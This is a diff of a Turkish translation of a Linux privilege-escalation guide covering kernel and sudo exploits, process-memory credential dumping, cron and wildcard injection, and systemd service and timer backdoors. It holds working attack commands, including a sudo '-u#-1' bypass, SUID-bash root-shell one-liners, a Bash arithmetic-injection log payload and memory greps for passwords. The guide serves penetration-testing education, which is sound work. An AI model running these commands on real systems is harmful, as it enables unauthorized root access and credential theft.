Google'da arayın**, belki çekirdek sürümünüz bazı kernel exploit'lerinde yazılıdır ve bu sayede bu exploit'in geçerli olduğundan emin olursunuz. +Her zaman **kernel version'ı Google'da arayın**, belki kernel version'unuz bazı kernel exploit'lerinde yazılıdır ve böylece bu exploit'in geçerli olduğundan emin olursunuz. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo version +### Sudo sürümü -Aşağıda görünen zayıf Sudo sürümlerine dayanır: +Aşağıda görünen zafiyetli sudo sürümlerine dayanarak: ```bash searchsploit sudo ``` -sudo sürümünün vulnerable olup olmadığını bu grep ile kontrol edebilirsiniz. +sudo sürümünün zafiyete sahip olup olmadığını bu grep ile kontrol edebilirsiniz. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,9 +73,9 @@ Kaynak: @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg imza doğrulaması başarısız oldu +### Dmesg imza doğrulaması başarısız -Bu vuln'un nasıl sömürülebileceğine dair bir **örnek** için **smasher2 box of HTB**'ye bakın. +Bu vuln'ün nasıl istismar edilebileceğine dair bir **örnek** için **smasher2 box of HTB**'yi kontrol edin. ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Olası savunmaları sıralayın +## Olası savunmaları listele ### AppArmor ```bash @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Eğer bir docker container içindeyseniz, ondan kaçmayı deneyebilirsiniz: +Eğer bir docker container içindeyseniz ondan kaçmayı deneyebilirsiniz: {{#ref}} @@ -132,7 +132,7 @@ docker-security/ ## Sürücüler -Kontrol edin **nelerin bağlandığını ve bağlanmadığını**, nerede ve neden. Eğer bir şey bağlanmamışsa, onu bağlamayı deneyebilir ve özel bilgileri kontrol edebilirsiniz. +Nelerin **mounted and unmounted** olduğunu, nerede ve neden olduğunu kontrol edin. Eğer herhangi bir şey unmounted ise onu mount etmeyi ve özel bilgileri kontrol etmeyi deneyebilirsiniz ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,56 +145,56 @@ Kullanışlı binaries'leri listeleyin ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını kontrol edin**. Bu, bazı kernel exploit'lerini kullanmanız gerekirse faydalıdır; genellikle bu exploit'leri kullanacağınız makinede (ya da benzer bir makinede) derlemeniz tavsiye edilir. +Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını** kontrol edin. Bu, kernel exploit kullanmanız gerekirse faydalıdır; çünkü exploit'i kullanacağınız makinede (veya benzer bir makinede) derlemeniz önerilir. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Güvenlik Açığı Olan Yazılımlar +### Açıkları Olan Yüklü Yazılımlar -Yüklü paketlerin ve servislerin **sürümlerini** kontrol edin. Belki eski bir Nagios sürümü vardır (örneğin) ve bu sürüm escalating privileges elde etmek için exploited edilebilir…\ +Yüklü paketlerin ve servislerin **sürümlerini** kontrol edin. Belki örneğin, escalating privileges için sömürülebilecek eski bir Nagios sürümü olabilir…\ Daha şüpheli görünen yüklü yazılımların sürümlerini manuel olarak kontrol etmeniz önerilir. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Makinaya SSH erişiminiz varsa, içinde yüklü olan güncel olmayan ve güvenlik açığı bulunan yazılımları kontrol etmek için **openVAS** kullanabilirsiniz. +Makineye SSH erişiminiz varsa, makineye yüklü, güncel olmayan ve güvenlik açığı bulunan yazılımları kontrol etmek için **openVAS**'ı da kullanabilirsiniz. -> [!NOTE] > _Bu komutlar çoğunlukla işe yaramayacak çok fazla bilgi gösterecektir; bu nedenle yüklü yazılım sürümlerinin bilinen exploits'e karşı zafiyetli olup olmadığını kontrol eden OpenVAS veya benzeri uygulamaların kullanılması önerilir_ +> [!NOTE] > _Bu komutların çoğunlukla işe yaramaz çok fazla bilgi göstereceğini unutmayın, bu nedenle yüklü herhangi bir yazılım sürümünün bilinen exploits'lere karşı zafiyetli olup olmadığını kontrol eden OpenVAS veya benzeri uygulamalar tavsiye edilir_ -## İşlemler +## Processes -Hangi **işlemlerin** çalıştırıldığını inceleyin ve herhangi bir işlemin **olması gerekenden daha fazla ayrıcalığa sahip** olup olmadığını kontrol edin (örneğin root tarafından çalıştırılan bir tomcat olabilir mi?) +Çalıştırılan **hangi işlemlerin** olduğunu inceleyin ve herhangi bir işlemin olması gerekenden **daha fazla ayrıcalığa sahip olup olmadığını** kontrol edin (örneğin tomcat'in root tarafından çalıştırılıyor olması?). ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** prosesin komut satırındaki `--inspect` parametresini kontrol ederek bunları tespit eder.\ -Ayrıca **processlerin binaries** üzerindeki ayrıcalıklarınızı kontrol edin, belki birinin üzerine yazabilirsiniz. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Ayrıca **processes binaries üzerindeki ayrıcalıklarınızı kontrol edin**, belki birini overwrite edebilirsiniz. -### Süreç izleme +### İşlem izleme -Süreçleri izlemek için [**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanabilirsiniz. Bu, sıkça çalıştırılan veya belirli gereksinimler karşılandığında yürütülen zafiyetli süreçleri tespit etmek için çok faydalı olabilir. +İşlemleri izlemek için [**pspy**](https://github.com/DominicBreuker/pspy) gibi araçlar kullanabilirsiniz. Bu, sık çalıştırılan veya belirli gereksinimler karşılandığında yürütülen kırılgan işlemleri tespit etmek için çok faydalı olabilir. -### Süreç belleği +### İşlem belleği -Bazı sunucu servisleri **kimlik bilgilerini belleğin içinde düz metin olarak kaydeder**.\ -Normalde diğer kullanıcılara ait süreçlerin belleğini okumak için **root privileges** gerekir, bu nedenle bu genellikle zaten root olduğunuzda daha faydalıdır ve daha fazla kimlik bilgisi keşfetmek için kullanılır.\ -Bununla birlikte, **normal bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini okuyabileceğinizi** unutmayın. +Bir sunucunun bazı servisleri **kimlik bilgilerini bellek içinde düz metin olarak** saklayabilir.\ +Normalde diğer kullanıcılara ait işlemlerin belleğini okumak için **root privileges** gerekir; bu nedenle bu genellikle zaten root olduğunuzda ve daha fazla kimlik bilgisi keşfetmek istediğinizde daha faydalıdır.\ +Ancak, unutmayın ki **normal bir kullanıcı olarak sahip olduğunuz işlemlerin belleğini okuyabilirsiniz**. > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> Günümüzde çoğu makine varsayılan olarak **ptrace'e izin vermez**, bu da ayrıcalıksız kullanıcınıza ait diğer işlemleri dump edemeyeceğiniz anlamına gelir. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: tüm süreçler debug edilebilir, aynı uid'ye sahip oldukları sürece. Bu ptrace'in klasik çalışma şeklidir. -> - **kernel.yama.ptrace_scope = 1**: sadece bir parent process debug edilebilir. -> - **kernel.yama.ptrace_scope = 2**: Sadece admin ptrace kullanabilir, çünkü CAP_SYS_PTRACE yeteneği gerektirir. -> - **kernel.yama.ptrace_scope = 3**: Hiçbir süreç ptrace ile trace edilemez. Bir kez ayarlandığında, ptracing'i tekrar etkinleştirmek için yeniden başlatma gerekir. +> - **kernel.yama.ptrace_scope = 0**: same uid'ye sahip oldukları sürece tüm işlemler debug edilebilir. Bu, ptracing'in klasik çalışma şeklidir. +> - **kernel.yama.ptrace_scope = 1**: yalnızca bir parent process debug edilebilir. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: Hiçbir işlem ptrace ile izlenemez. Bir kez ayarlandıktan sonra ptrace'i tekrar etkinleştirmek için reboot gerekir. #### GDB -Örneğin bir FTP servisinin belleğine erişiminiz varsa Heap'i alıp içindeki kimlik bilgilerini arayabilirsiniz. +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Belirli bir işlem kimliği için, **maps, belleğin o işlemin sanal adres alanında nasıl haritalandığını gösterir**; ayrıca **her haritalanmış bölgenin izinlerini** gösterir. **mem** pseudo file **işlemin belleğinin kendisini açığa çıkarır**. **maps** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve offsetlerini biliriz. Bu bilgiyi kullanarak **mem dosyasına seek yapar ve tüm okunabilir bölgeleri bir dosyaya dump ederiz**. +Belirli bir süreç kimliği için, **maps belleğin o sürecin sanal adres alanında nasıl eşlendiğini gösterir**; ayrıca **her eşlenmiş bölgenin izinlerini** gösterir. Bu **mem** pseudo dosyası **sürecin belleğini bizzat açığa çıkarır**. **maps** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve ofsetlerini biliriz. Bu bilgiyi kullanarak **mem dosyasında konuma atlayıp tüm okunabilir bölgeleri** bir dosyaya dökeriz. ```bash procdump() ( @@ -232,13 +232,13 @@ rm $1*.bin #### /dev/mem `/dev/mem` sistemin **fiziksel** belleğine erişim sağlar, sanal belleğe değil. Çekirdeğin sanal adres alanına /dev/kmem kullanılarak erişilebilir.\ -Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grubu tarafından okunabilir. +Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grubuna üye kullanıcılar tarafından okunabilir. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump için linux -ProcDump, Windows için Sysinternals araç paketindeki klasik ProcDump aracının Linux için yeniden tasarlanmış hâlidir. Edinin: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump, Windows için Sysinternals araç paketindeki klasik ProcDump aracının Linux için yeniden yorumlanmış halidir. Edinin [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,38 +267,38 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Araçlar -Bir işlemin belleğini dökmek için şunları kullanabilirsiniz: +Bir process memory'yi dump etmek için şunları kullanabilirsiniz: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Root gereksinimlerini manuel olarak kaldırabilir ve size ait işlemi dökebilirsiniz -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root gereklidir) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Root gereksinimlerini elle kaldırabilir ve size ait process'i dump edebilirsiniz +- Script A.5 [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) adresinden (root gereklidir) -### İşlem Belleğinden Kimlik Bilgileri +### Process Memory'den Kimlik Bilgileri #### Manuel örnek -Eğer authenticator işlemi çalışıyorsa: +authenticator process'in çalıştığını görürseniz: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -İşlemi dump edebilir (bir process'in memory'sini dump etmenin farklı yollarını bulmak için önceki bölümlere bakın) ve memory içinde credentials arayabilirsiniz: +Process'i dump edebilirsiniz (önceki bölümlere bakın; bir process'in memory'sini dump etmenin farklı yollarını bulabilirsiniz) ve memory içinde credentials arayın: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Araç [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **bellekten düz metin kimlik bilgilerini** ve bazı **bilinen dosyalardan** çalar. Doğru çalışması için root ayrıcalıkları gerektirir. +The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **bellekten açık metin kimlik bilgilerini** ve bazı **iyi bilinen dosyalardan** çalacaktır. Doğru çalışması için root ayrıcalıkları gerektirir. -| Özellik | Süreç Adı | +| Özellik | İşlem Adı | | ------------------------------------------------- | -------------------- | -| GDM şifresi (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Aktif FTP Bağlantıları) | vsftpd | -| Apache2 (Aktif HTTP Basic Auth Oturumları) | apache2 | -| OpenSSH (Aktif SSH Oturumları - Sudo Kullanımı) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | #### Arama Regexleri/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -314,36 +314,36 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Zamanlanmış/Cron jobs +## Zamanlanmış/Cron görevleri -Herhangi bir zamanlanmış job'un zafiyete açık olup olmadığını kontrol edin. Belki root tarafından yürütülen bir script'ten faydalanabilirsiniz (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misiniz? symlinks kullanmak? root'un kullandığı dizine belirli dosyalar oluşturmak?). +Herhangi bir zamanlanmış görevin güvenlik açığına sahip olup olmadığını kontrol et. Belki root tarafından çalıştırılan bir script'ten faydalanabilirsin (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misin? symlinks kullanmak? root'un kullandığı dizinde belirli dosyalar oluşturmak?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Cron yolu -Örneğin, _/etc/crontab_ içinde PATH şu şekildedir: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Örneğin, _/etc/crontab_ içinde PATH'i bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_/home/user üzerinde "user" kullanıcısının yazma izinlerine sahip olduğuna dikkat edin_) +(_Dikkat edin: kullanıcı "user" /home/user üzerinde yazma yetkisine sahip_) -Eğer bu crontab içinde root kullanıcısı path'i ayarlamadan bir komut veya script çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\ -Ardından, şu şekilde root shell elde edebilirsiniz: +Eğer bu crontab içinde root kullanıcısı PATH'i ayarlamadan bir komut veya script çalıştırmaya çalışıyorsa. Örneğin: _\* \* \* \* root overwrite.sh_\ +Böylece şu komutu kullanarak root shell elde edebilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron ile wildcard içeren bir script kullanımı (Wildcard Injection) +### Cron wildcard içeren bir script kullanımı (Wildcard Injection) -Bir script root tarafından çalıştırıldığında bir komut içinde “**\***” varsa, bunu beklenmeyen şeyler (ör. privesc) yapmak için suistimal edebilirsiniz. Örnek: +Eğer root tarafından çalıştırılan bir script'te bir komut içinde “**\***” varsa, bunu beklenmeyen şeyler (ör. privesc) yapmak için kötüye kullanabilirsiniz. Örnek: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Eğer wildcard bir yolun önünde ise örneğin** _**/some/path/\***_ **, zafiyetli değildir (hatta** _**./\***_ **de değildir).** +**Eğer wildcard şu gibi bir yolun öncesindeyse** _**/some/path/\***_ **, zayıf değildir (hatta** _**./\***_ **de değildir).** -Read the following page for more wildcard exploitation tricks: +Daha fazla wildcard exploitation tricks için aşağıdaki sayfayı okuyun: {{#ref}} @@ -353,9 +353,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. Eğer bir root cron/parser güvenilmeyen log alanlarını okuyup bunları bir aritmetik bağlama gönderiyorsa, bir saldırgan cron çalıştığında root olarak yürütülecek bir command substitution $(...) enjekte edebilir. +Bash, ((...)), $((...)) ve let içindeki arithmetic evaluation'dan önce parameter expansion ve command substitution uygular. Eğer bir root cron/parser güvenilmeyen log alanlarını okuyup bunları arithmetic context'e veriyorsa, bir saldırgan $(...) şeklinde bir command substitution enjekte edebilir ve cron çalıştığında bu root olarak çalıştırılır. -- Neden çalışır: Bash'te genişletmeler şu sırayla gerçekleşir: parameter/variable expansion, command substitution, arithmetic expansion, sonra word splitting ve pathname expansion. Bu yüzden `$(/bin/bash -c 'id > /tmp/pwn')0` gibi bir değer önce substitute edilir (komut çalıştırılır), ardından kalan sayısal `0` aritmetik için kullanılır ve script hata vermeden devam eder. +- Neden işe yarar: Bash'te expansions şu sırayla gerçekleşir: parameter/variable expansion, command substitution, arithmetic expansion, ardından word splitting ve pathname expansion. Bu yüzden `$(/bin/bash -c 'id > /tmp/pwn')0` gibi bir değer önce substitute edilir (komut çalıştırılır), sonra kalan sayısal `0` arithmetic için kullanılır ve script hatasız devam eder. - Tipik vulnerable pattern: ```bash @@ -367,7 +367,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Sömürme: Parsed log'a attacker-controlled metin yazdırın, böylece sayısal gibi görünen alan bir command substitution içerir ve bir rakamla biter. Komutunuzun stdout'a yazmadığından emin olun (veya çıktıyı yönlendirin) ki aritmetik geçerli kalsın. +- Exploitation: Parsed edilen log'a saldırgan kontrollü metin yazdırın, böylece sayısal görünen alan bir command substitution içerir ve bir rakamla biter. Komutunuz stdout'a yazdırmasın (veya yönlendirin) ki arithmetic geçerli kalsın. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,83 +376,83 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Eğer root tarafından çalıştırılan bir **cron script'ini değiştirebiliyorsanız**, çok kolay bir şekilde bir shell alabilirsiniz: +Eğer root tarafından çalıştırılan bir **cron script'ini değiştirebiliyorsanız**, çok kolay bir shell elde edebilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Eğer root tarafından çalıştırılan script **tam erişiminiz olan bir directory** kullanıyorsa, o folder'ı silip kontrolünüzdeki bir scripti sunan başka bir yere işaret eden bir **symlink folder oluşturmak** işe yarayabilir. +Eğer root tarafından çalıştırılan script **tam erişiminiz olan bir dizin** kullanıyorsa, o klasörü silip **başka bir dizine symlink oluşturmak** ve sizin kontrolünüzdeki script'i barındıran bir dizine yönlendirmek faydalı olabilir. ```bash ln -d -s ``` ### Sık cron görevleri -Süreçleri izleyerek her 1, 2 veya 5 dakikada bir çalıştırılan işlemleri tespit edebilirsiniz. Belki bundan faydalanıp escalate privileges elde edebilirsiniz. +1, 2 veya 5 dakikada bir çalışan süreçleri tespit etmek için süreçleri izleyebilirsiniz. Belki bundan faydalanarak yetki yükseltme yapabilirsiniz. -Örneğin, **1 dakika boyunca her 0.1s'de izle**, **en az çalıştırılan komutlara göre sırala** ve en çok çalıştırılan komutları silmek için şunu yapabilirsiniz: +Örneğin, **1 dakika boyunca her 0.1s'de izlemek**, **en az çalıştırılan komutlara göre sıralamak** ve en çok çalıştırılan komutları silmek için şu komutu kullanabilirsiniz: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Ayrıca kullanabilirsiniz** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (bu, başlayan her süreci izleyecek ve listeleyecektir). +**Ayrıca kullanabilirsiniz** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (bu başlayan her işlemi izleyecek ve listeleyecektir). ### Görünmez cron jobs -Yorumdan sonra **carriage return koyarak** (yeni satır karakteri olmadan) bir cronjob oluşturmak mümkündür ve cron job çalışacaktır. Örnek (carriage return karakterine dikkat): +Bir cronjob, **yorumdan sonra carriage return koyarak** (newline karakteri olmadan) oluşturulabilir ve cron job çalışacaktır. Örnek (carriage return karakterine dikkat): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## Hizmetler +## Servisler ### Yazılabilir _.service_ dosyaları -Herhangi bir `.service` dosyasına yazıp yazamayacağını kontrol et; yazabiliyorsan, bunu **değiştirip** servisin **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **backdoor**'unu **çalıştıracak** şekilde ayarlayabilirsin (belki makinenin yeniden başlatılmasını beklemen gerekir).\ -Örneğin backdoor'unu .service dosyasına **`ExecStart=/tmp/script.sh`** yazarak oluştur. +Herhangi bir `.service` dosyasına yazıp yazamayacağınızı kontrol edin; yazabiliyorsanız, onu **değiştirebilir** ve hizmet **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** arka kapınızı **çalıştırmasını** sağlayabilirsiniz (belki makinenin yeniden başlatılmasını beklemeniz gerekebilir).\ +Örneğin arka kapınızı .service dosyasının içine **`ExecStart=/tmp/script.sh`** ile oluşturun. -### Yazılabilir servis binary'leri +### Yazılabilir servis ikili dosyaları -Unutma: eğer **servisler tarafından çalıştırılan binary'lar üzerinde yazma iznine** sahipsen, bunları backdoor'lar için değiştirebilirsin; servisler yeniden yürütüldüğünde backdoor'lar çalıştırılacaktır. +Unutmayın ki eğer **servisler tarafından çalıştırılan ikili dosyalar üzerinde yazma izinleriniz** varsa, bunları arka kapılarla değiştirebilirsiniz; böylece servisler yeniden çalıştırıldığında arka kapılar da çalıştırılacaktır. -### systemd PATH - Göreli Yollar +### systemd PATH - Göreceli Yollar -systemd tarafından kullanılan PATH'i şu komutla görebilirsin: +**systemd** tarafından kullanılan PATH'i şu komutla görebilirsiniz: ```bash systemctl show-environment ``` -Eğer yolun herhangi bir klasörüne **yazabiliyorsanız**, **escalate privileges** yapabiliyor olabilirsiniz. Hizmet yapılandırma dosyalarında kullanılan **göreli yolları** aramanız gerekir, örneğin: +Eğer yolun klasörlerinden herhangi birine **yazabiliyorsanız**, muhtemelen **escalate privileges** yapabilirsiniz. Servis yapılandırma dosyalarında kullanılan **göreli yollar** gibi öğeleri aramanız gerekir: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Sonra, yazma hakkınız olan systemd PATH klasörünün içine, göreli yol binary'si ile aynı ada sahip bir **executable** oluşturun ve servis hassas eylemi (**Start**, **Stop**, **Reload**) çalıştırması istendiğinde, sizin **backdoor**'unuz çalıştırılacaktır (ayrıcalıksız kullanıcılar genellikle servisleri başlatıp durduramaz fakat `sudo -l` kullanıp kullanamayacağınızı kontrol edin). +Sonra, yazma hakkınız olan systemd PATH klasörünün içine, **göreli yol üzerindeki binary ile aynı ada sahip bir yürütülebilir dosya** oluşturun ve hizmetten savunmasız eylemi (**Start**, **Stop**, **Reload**) gerçekleştirmesi istendiğinde, sizin **backdoor** çalıştırılacaktır (ayrıcalıksız kullanıcılar genellikle hizmetleri başlatıp durduramazlar ama `sudo -l` kullanıp kullanamayacağınızı kontrol edin). -**Learn more about services with `man systemd.service`.** +**Hizmetler hakkında daha fazla bilgi için `man systemd.service` kullanın.** ## **Zamanlayıcılar** -**Zamanlayıcılar** (Timers) adı `**.timer**` ile biten systemd unit dosyalarıdır ve `**.service**` dosyalarını veya olayları kontrol eder. **Zamanlayıcılar**, takvim zaman etkinlikleri ve monotonic zaman etkinlikleri için yerleşik destek sundukları ve eşzamansız olarak çalıştırılabildikleri için cron'a bir alternatif olarak kullanılabilir. +**Zamanlayıcılar** (Timers), adı `**.timer**` ile biten ve `**.service**` dosyalarını veya olaylarını kontrol eden systemd unit dosyalarıdır. **Zamanlayıcılar**, takvim zaman olayları ve monotonik zaman olayları için yerleşik destek sağladıkları ve eşzamansız olarak çalıştırılabildikleri için cron'a bir alternatif olarak kullanılabilir. Tüm zamanlayıcıları şu komutla listeleyebilirsiniz: ```bash systemctl list-timers --all ``` -### Yazılabilir timerlar +### Yazılabilir zamanlayıcılar -Eğer bir timer'ı değiştirebiliyorsanız, mevcut systemd.unit öğelerinden bazılarını (ör. `.service` veya `.target`) çalıştırmasını sağlayabilirsiniz. +Bir timer'ı değiştirebilirseniz, systemd.unit içindeki bazı mevcut birimleri (ör. `.service` veya `.target`) çalıştırmasını sağlayabilirsiniz. ```bash Unit=backdoor.service ``` Dokümantasyonda Unit'in ne olduğu şöyle açıklanıyor: -> Bu timer sona erdiğinde etkinleştirilecek bir unit. Argüman, soneki ".timer" olmayan bir unit adıdır. Belirtilmezse, bu değer timer unit ile aynı ada sahip, soneki hariç bir service'e varsayılandır. (Yukarıya bakın.) Etkinleştirilen unit adı ile timer unit adının soneki hariç aynı olması önerilir. +> Zamanlayıcı sona erdiğinde etkinleştirilecek unit. Argüman, son eki ".timer" olmayan bir unit adıdır. Belirtilmemişse, bu değer varsayılan olarak timer unit ile aynı ada sahip, yalnızca son eki farklı olan bir service olarak kabul edilir. (Yukarıya bakınız.) Etkinleştirilen unit adı ile timer unit adı, son ek dışında aynı adlandırılması önerilir. Bu izni kötüye kullanmak için şunlara ihtiyacınız olur: -- Bir systemd unit (ör. `.service`) bulun ki **yazılabilir bir binary çalıştırıyor** -- **göreli bir yol çalıştıran** bir systemd unit bulun ve **systemd PATH** üzerinde **yazma ayrıcalıklarına** sahip olun (o yürütülebilir dosyayı taklit etmek için) +- Yazılabilir bir ikiliyi **çalıştıran** bir systemd unit (ör. `.service`) bulun +- Bir göreli yol ile **çalıştırılan** ve **systemd PATH** üzerinde **yazma ayrıcalığınız** olan bir systemd unit bulun (o yürütülebilir dosyayı taklit etmek için) -**Learn more about timers with `man systemd.timer`.** +**Zamanlayıcılar hakkında daha fazlasını `man systemd.timer` ile öğrenin.** ### **Timer'ı Etkinleştirme** @@ -461,30 +461,30 @@ Bir timer'ı etkinleştirmek için root ayrıcalıklarına sahip olmanız ve şu sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Dikkat: **timer**, `/etc/systemd/system/.wants/.timer` üzerine ona bir symlink oluşturarak **etkinleştirilir** +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) aynı veya farklı makinelerde client-server modellerinde **process communication** sağlar. AF_UNIX soket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası gibi değerler için standart Unix descriptor dosyalarını kullanırlar ve `.socket` dosyaları aracılığıyla yapılandırılırlar. +Unix Domain Sockets (UDS) enable **işlem iletişimi** aynı veya farklı makinelerde istemci-sunucu modelleri içinde. Bilgisayarlar arası iletişim için standart Unix descriptor dosyalarını kullanırlar ve `.socket` dosyalarıyla yapılandırılırlar. -Sockets `.socket` dosyaları kullanılarak yapılandırılabilir. +Sockets can be configured using `.socket` files. -**Learn more about sockets with `man systemd.socket`.** Bu dosya içinde yapılandırılabilecek birkaç ilginç parametre vardır: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır fakat özet olarak **nerede dinleneceğini belirtmek** için kullanılır (AF_UNIX soket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası vb.) -- `Accept`: Boolean bir argüman alır. Eğer **true** ise, **her gelen bağlantı için bir service instance başlatılır** ve sadece bağlantı soketi ona geçirilir. Eğer **false** ise, tüm dinleme soketleri **başlatılan service unit'ine geçirilir** ve tüm bağlantılar için yalnızca bir service unit başlatılır. Bu değer, datagram soketleri ve FIFOs için göz ardı edilir; bu türlerde tek bir service unit koşulsuz olarak tüm gelen trafiği işler. **Defaults to false**. Performans nedenleriyle, yeni daemon'ları yalnızca 